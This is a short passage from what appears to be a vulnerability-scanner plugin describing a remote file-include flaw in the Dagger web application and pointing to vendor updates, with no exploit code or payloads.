tag_summary = "Dagger is prone to a remote file-include vulnerability because it
  fails to sufficiently sanitize user-supplied data.

  An attacker can exploit this issue to execute malicious PHP code in
  the context of the webserver process. This may facilitate a
  compromise of the application and the underlying computer; other
  attacks are also possible.";

tag_solution = "Vendor updates are available. See http://labs.geody.com/dagger/ fore more
